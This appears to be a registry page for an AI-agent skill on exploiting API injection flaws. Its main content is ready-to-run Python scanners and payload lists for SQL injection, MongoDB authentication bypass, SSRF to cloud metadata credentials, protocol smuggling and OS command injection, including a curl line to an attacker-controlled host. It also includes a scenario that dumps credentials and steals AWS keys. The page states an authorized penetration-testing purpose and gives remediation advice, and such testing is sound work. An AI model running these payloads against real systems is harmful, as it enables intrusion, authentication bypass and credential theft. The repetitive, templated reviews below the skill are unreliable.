exploiting-api-injection-vulnerabilities▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
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Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to extract data, execute commands, or access internal services. Maps to OWASP API8:2023 Security Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.
| name | exploiting-api-injection-vulnerabilities |
| description | 'Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to extract data, execute commands, or access internal services. Maps to OWASP API8:2023 Security Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment. ' |
| domain | cybersecurity |
| subdomain | api-security |
| tags | - api-security - owasp - injection - sqli - nosql - ssrf - command-injection |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Exploiting API Injection Vulnerabilities
When to Use
- Testing API endpoints that accept user input for database queries, system commands, or external requests
- Assessing APIs that interact with SQL databases, NoSQL stores (MongoDB, Redis), LDAP directories, or external URLs
- Evaluating input validation and parameterized query usage across all API endpoints
- Testing for SSRF where API parameters accept URLs or hostnames that trigger server-side requests
- Identifying injection points in headers, path parameters, query strings, and JSON/XML request bodies
Do not use without written authorization. Injection testing can modify or destroy data and compromise backend systems.
Prerequisites
- Written authorization specifying target API and backend systems in scope
- Python 3.10+ with
requestslibrary - SQLMap for automated SQL injection detection and exploitation
- Burp Suite Professional with Active Scan capabilities
- Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis)
- Isolated test environment to avoid production data corruption
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Injection Point Identification
import requests
import json
import urllib.parse
BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
# Map all input points across the API
injection_points = [
# Path parameters
{"type": "path", "method": "GET", "url": "/users/{input}"},
{"type": "path", "method": "GET", "url": "/products/{input}"},
{"type": "path", "method": "GET", "url": "/orders/{input}"},
# Query parameters
{"type": "query", "method": "GET", "url": "/users?search={input}"},
{"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
{"type": "query", "method": "GET", "url": "/products?category={input}"},
{"type": "query", "method": "GET", "url": "/search?q={input}"},
# JSON body parameters
{"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
{"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
{"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
{"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
# Header parameters
{"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]
Step 2: SQL Injection Testing
# SQL injection payloads for different contexts
SQL_PAYLOADS = {
"detection": [
"'",
"\"",
"' OR '1'='1",
"\" OR \"1\"=\"1",
"1 OR 1=1",
"' OR 1=1--",
"' UNION SELECT NULL--",
"1; WAITFOR DELAY '0:0:5'--",
"1' AND SLEEP(5)--",
"1)) OR 1=1--",
],
"union_based": [
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT 1,2,3--",
"' UNION SELECT username,password,NULL FROM users--",
"-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
],
"error_based": [
"' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
],
"time_based": [
"' AND SLEEP(5)--",
"'; WAITFOR DELAY '0:0:5'--",
"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
"1; SELECT pg_sleep(5)--",
],
}
import time
def test_sql_injection(endpoint, param_name, param_type="query"):
"""Test a parameter for SQL injection."""
results = []
for category, payloads in SQL_PAYLOADS.items():
for payload in payloads:
start = time.time()
if param_type == "query":
url = f"{BASE_URL}{endpoint}"
resp = requests.get(url, headers=headers,
params={param_name: payload}, timeout=15)
elif param_type == "body":
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={param_name: payload}, timeout=15)
elif param_type == "path":
url = f"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}"
resp = requests.get(url, headers=headers, timeout=15)
elapsed = time.time() - start
# Check for SQL injection indicators
indicators = {
"error": any(kw in resp.text.lower() for kw in [
"sql syntax", "mysql", "postgresql", "sqlite",
"oracle", "unterminated", "syntax error",
"unexpected end", "quoted string", "invalid input"
]),
"time_based": elapsed > 4.5 and "SLEEP" in payload.upper(),
"union_data": resp.status_code == 200 and len(resp.text) > 0
and "UNION" in payload.upper()
and resp.text != requests.get(f"{BASE_URL}{endpoint}",
headers=headers, params={param_name: "test"}).text,
}
if any(indicators.values()):
triggered = [k for k, v in indicators.items() if v]
results.append({
"endpoint": endpoint,
"param": param_name,
"category": category,
"payload": payload,
"indicators": triggered,
"status": resp.status_code,
"time": f"{elapsed:.1f}s"
})
print(f"[SQLi] {endpoint} ({param_name}): {category} - {triggered}")
return results
# Test search parameter
test_sql_injection("/search", "q", "query")
test_sql_injection("/products", "category", "query")
test_sql_injection("/auth/login", "username", "body")
Step 3: NoSQL Injection Testing
# NoSQL injection payloads (MongoDB-focused)
NOSQL_PAYLOADS = {
"auth_bypass": [
# MongoDB operator injection in JSON body
{"username": {"$ne": ""}, "password": {"$ne": ""}},
{"username": {"$gt": ""}, "password": {"$gt": ""}},
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
{"username": "admin", "password": {"$ne": "wrongpassword"}},
{"username": {"$in": ["admin", "root", "administrator"]}, "password": {"$ne": ""}},
],
"data_extraction": [
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}, # Enumerate first char
{"username": {"$where": "this.username.length > 0"}, "password": {"$ne": ""}},
],
"operator_injection_string": [
# When input is a string field
'{"$gt": ""}',
'{"$ne": null}',
'{"$regex": ".*"}',
'{"$where": "1==1"}',
],
}
def test_nosql_injection(endpoint, method="POST"):
"""Test for MongoDB NoSQL injection."""
results = []
# Test JSON body operator injection
for category, payloads in NOSQL_PAYLOADS.items():
for payload in payloads:
if isinstance(payload, dict):
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers, json=payload, timeout=10)
else:
# Test as string parameter
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={"username": json.loads(payload), "password": "test"},
timeout=10)
if resp.status_code == 200:
resp_data = resp.json() if resp.text else {}
if "token" in str(resp_data) or "user" in str(resp_data):
results.append({
"endpoint": endpoint,
"category": category,
"payload": str(payload)[:100],
"authenticated": True,
"response": str(resp_data)[:200]
})
print(f"[NoSQLi] {endpoint}: {category} - Auth bypass successful")
return results
nosql_results = test_nosql_injection("/auth/login")
Step 4: Server-Side Request Forgery (SSRF) Testing
# SSRF payloads targeting internal services
SSRF_PAYLOADS = {
"cloud_metadata": [
"http://169.254.169.254/latest/meta-data/", # AWS IMDS
"http://169.254.169.254/latest/meta-data/iam/security-credentials/", # AWS IAM creds
"http://metadata.google.internal/computeMetadata/v1/", # GCP
"http://169.254.169.254/metadata/instance?api-version=2021-02-01", # Azure
],
"internal_services": [
"http://localhost:8080/",
"http://127.0.0.1:6379/", # Redis
"http://127.0.0.1:9200/", # Elasticsearch
"http://127.0.0.1:27017/", # MongoDB
"http://internal-api.local:8080/",
"http://10.0.0.1/admin/",
],
"protocol_smuggling": [
"gopher://127.0.0.1:6379/_SET%20pwned%20true",
"file:///etc/passwd",
"dict://127.0.0.1:6379/INFO",
],
"bypass_filters": [
"http://0x7f000001/", # Hex IP for 127.0.0.1
"http://2130706433/", # Decimal IP for 127.0.0.1
"http://0177.0.0.1/", # Octal
"http://127.0.0.1.nip.io/", # DNS rebinding
"http://[::1]/", # IPv6 localhost
"http://127.1/", # Shortened IP
"http://0/", # Zero
],
}
def test_ssrf(endpoint, url_param, method="POST"):
"""Test for SSRF in URL-accepting parameters."""
results = []
for category, payloads in SSRF_PAYLOADS.items():
for payload in payloads:
try:
if method == "POST":
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={url_param: payload}, timeout=10)
else:
resp = requests.get(f"{BASE_URL}{endpoint}",
headers=headers,
params={url_param: payload}, timeout=10)
# Check for SSRF indicators
if resp.status_code == 200 and len(resp.text) > 50:
# Check for cloud metadata
if any(kw in resp.text for kw in ["ami-id", "instance-id",
"iam", "AccessKeyId",
"root:x:", "computeMetadata"]):
results.append({
"endpoint": endpoint,
"category": category,
"payload": payload,
"severity": "critical",
"data": resp.text[:300]
})
print(f"[SSRF-CRITICAL] {endpoint}: {category} - {payload}")
else:
results.append({
"endpoint": endpoint,
"category": category,
"payload": payload,
"severity": "high",
"data": resp.text[:100]
})
print(f"[SSRF] {endpoint}: {category} - {payload} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
return results
# Test endpoints that accept URLs
ssrf_results = test_ssrf("/webhook/test", "url")
ssrf_results.extend(test_ssrf("/import", "source_url"))
ssrf_results.extend(test_ssrf("/proxy", "target", "GET"))
Step 5: OS Command Injection Testing
# Command injection payloads
CMD_PAYLOADS = {
"detection": [
"; sleep 5",
"| sleep 5",
"` sleep 5 `",
"$( sleep 5 )",
"\n sleep 5",
"& ping -c 5 127.0.0.1 &",
],
"data_exfil": [
"; cat /etc/passwd",
"| id",
"`whoami`",
"$(uname -a)",
"; curl http://attacker-controlled-server.com/$(whoami)",
],
"windows": [
"& ping -n 5 127.0.0.1 &",
"| dir",
"; type C:\\Windows\\System32\\drivers\\etc\\hosts",
"& timeout /t 5 &",
],
}
def test_command_injection(endpoint, param_name, param_type="body"):
"""Test for OS command injection."""
results = []
for category, payloads in CMD_PAYLOADS.items():
for payload in payloads:
start = time.time()
prefixed_payload = f"validvalue{payload}"
if param_type == "body":
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={param_name: prefixed_payload}, timeout=15)
else:
resp = requests.get(f"{BASE_URL}{endpoint}",
headers=headers,
params={param_name: prefixed_payload}, timeout=15)
elapsed = time.time() - start
indicators = {
"time_based": elapsed > 4.5 and "sleep" in payload.lower(),
"output": any(kw in resp.text for kw in [
"root:", "uid=", "Linux", "Windows", "bin/bash",
"Directory of", "Volume Serial"
]),
}
if any(indicators.values()):
results.append({
"endpoint": endpoint,
"param": param_name,
"category": category,
"payload": payload,
"indicators": [k for k, v in indicators.items() if v],
})
print(f"[CMDi] {endpoint} ({param_name}): {payload}")
return results
# Test file processing and system interaction endpoints
test_command_injection("/export", "filename")
test_command_injection("/convert", "input_file")
test_command_injection("/ping", "host", "query")
Key Concepts
| Term | Definition |
|---|---|
| SQL Injection | Inserting SQL code into API parameters that are concatenated into database queries, enabling data extraction or modification |
| NoSQL Injection | Injecting NoSQL operators ($ne, $gt, $regex) into MongoDB queries or manipulating Redis/Elasticsearch queries through API parameters |
| SSRF | Server-Side Request Forgery (OWASP API7:2023) - forcing the server to make HTTP requests to attacker-specified destinations including internal services |
| Command Injection | Injecting OS commands through API parameters that are passed to shell execution functions (exec, system, popen) |
| Parameterized Queries | Using prepared statements with bound parameters to prevent SQL injection by separating code from data |
| Input Validation | Server-side verification that user input conforms to expected format, type, length, and character set before processing |
Tools & Systems
- SQLMap: Automated SQL injection detection and exploitation tool supporting all major database types
- Burp Suite Professional: Active scanner with injection detection for SQL, NoSQL, SSRF, and command injection
- NoSQLMap: Automated NoSQL injection detection and exploitation tool focused on MongoDB
- SSRFmap: SSRF detection and exploitation framework with cloud metadata extraction modules
- Commix: Automated OS command injection detection and exploitation tool
Common Scenarios
Scenario: E-Commerce API Injection Assessment
Context: An e-commerce API uses PostgreSQL for the product catalog, MongoDB for user sessions, and accepts webhook URLs for order notifications. The API is built with Node.js/Express.
Approach:
- Test product search endpoint
GET /api/v1/products?search=testwith SQL payloads - discover error-based SQLi revealing PostgreSQL 14 backend - Exploit union-based SQLi to extract all table names, then dump user credentials from the
userstable - Test login endpoint with NoSQL operators -
{"username":{"$ne":""},"password":{"$ne":""}}bypasses authentication - Test webhook URL endpoint for SSRF -
POST /api/v1/webhooks {"url":"http://169.254.169.254/latest/meta-data/"}returns AWS instance metadata - Extract AWS IAM role credentials via SSRF, gaining access to S3 buckets containing customer data
- Test file export endpoint for command injection -
GET /api/v1/export?filename=report;cat /etc/passwdreturns passwd file contents
Pitfalls:
- Only testing SQL injection when the backend uses multiple data stores (SQL, NoSQL, Redis, Elasticsearch)
- Missing injection points in HTTP headers (User-Agent, Referer, X-Forwarded-For) that may be logged to SQL databases
- Not testing SSRF bypass techniques when the initial payload is blocked by URL validation
- Assuming JSON API bodies are safe from SQL injection (JSON values are still concatenated into queries)
- Not testing time-based injection when error messages are suppressed
Output Format
## Finding: SQL Injection in Product Search API Enables Full Database Access
**ID**: API-INJ-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API8:2023 - Security Misconfiguration / Injection
**Affected Endpoints**:
- GET /api/v1/products?search= (SQL injection)
- POST /api/v1/auth/login (NoSQL injection)
- POST /api/v1/webhooks (SSRF)
**Description**:
The product search API concatenates user input directly into a PostgreSQL
query without parameterization. An attacker can extract all database
contents including user credentials, payment information, and admin
secrets. Additionally, the login endpoint is vulnerable to MongoDB
NoSQL operator injection, and the webhook endpoint allows SSRF to
internal services and cloud metadata.
**Impact**:
- Full database read/write access via SQL injection
- Authentication bypass via NoSQL operator injection
- AWS IAM credential theft via SSRF to instance metadata
- Potential remote code execution via SQL injection stacked queries
**Remediation**:
1. Use parameterized queries for all database operations
2. Validate and sanitize NoSQL operator characters in JSON input
3. Implement URL allowlisting for webhook and callback URLs
4. Block access to cloud metadata endpoints (169.254.169.254) from application servers
5. Use an ORM with parameterized queries and disable raw query methods
6. Implement WAF rules for common injection patterns as defense in depth
How to use exploiting-api-injection-vulnerabilities on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add exploiting-api-injection-vulnerabilities
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches exploiting-api-injection-vulnerabilities from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate exploiting-api-injection-vulnerabilities. Access the skill through slash commands (e.g., /exploiting-api-injection-vulnerabilities) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
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Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.7★★★★★52 reviews- ★★★★★William Mehta· Dec 20, 2024
exploiting-api-injection-vulnerabilities has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Henry Srinivasan· Dec 16, 2024
Keeps context tight: exploiting-api-injection-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Zara White· Dec 12, 2024
We added exploiting-api-injection-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Zara Sharma· Nov 11, 2024
Useful defaults in exploiting-api-injection-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Mia Kapoor· Nov 7, 2024
exploiting-api-injection-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Emma Desai· Nov 7, 2024
exploiting-api-injection-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Zara Srinivasan· Nov 3, 2024
exploiting-api-injection-vulnerabilities fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Mia Lopez· Oct 26, 2024
Useful defaults in exploiting-api-injection-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★William Khanna· Oct 26, 2024
Useful defaults in exploiting-api-injection-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Sophia Park· Oct 22, 2024
Registry listing for exploiting-api-injection-vulnerabilities matched our evaluation — installs cleanly and behaves as described in the markdown.
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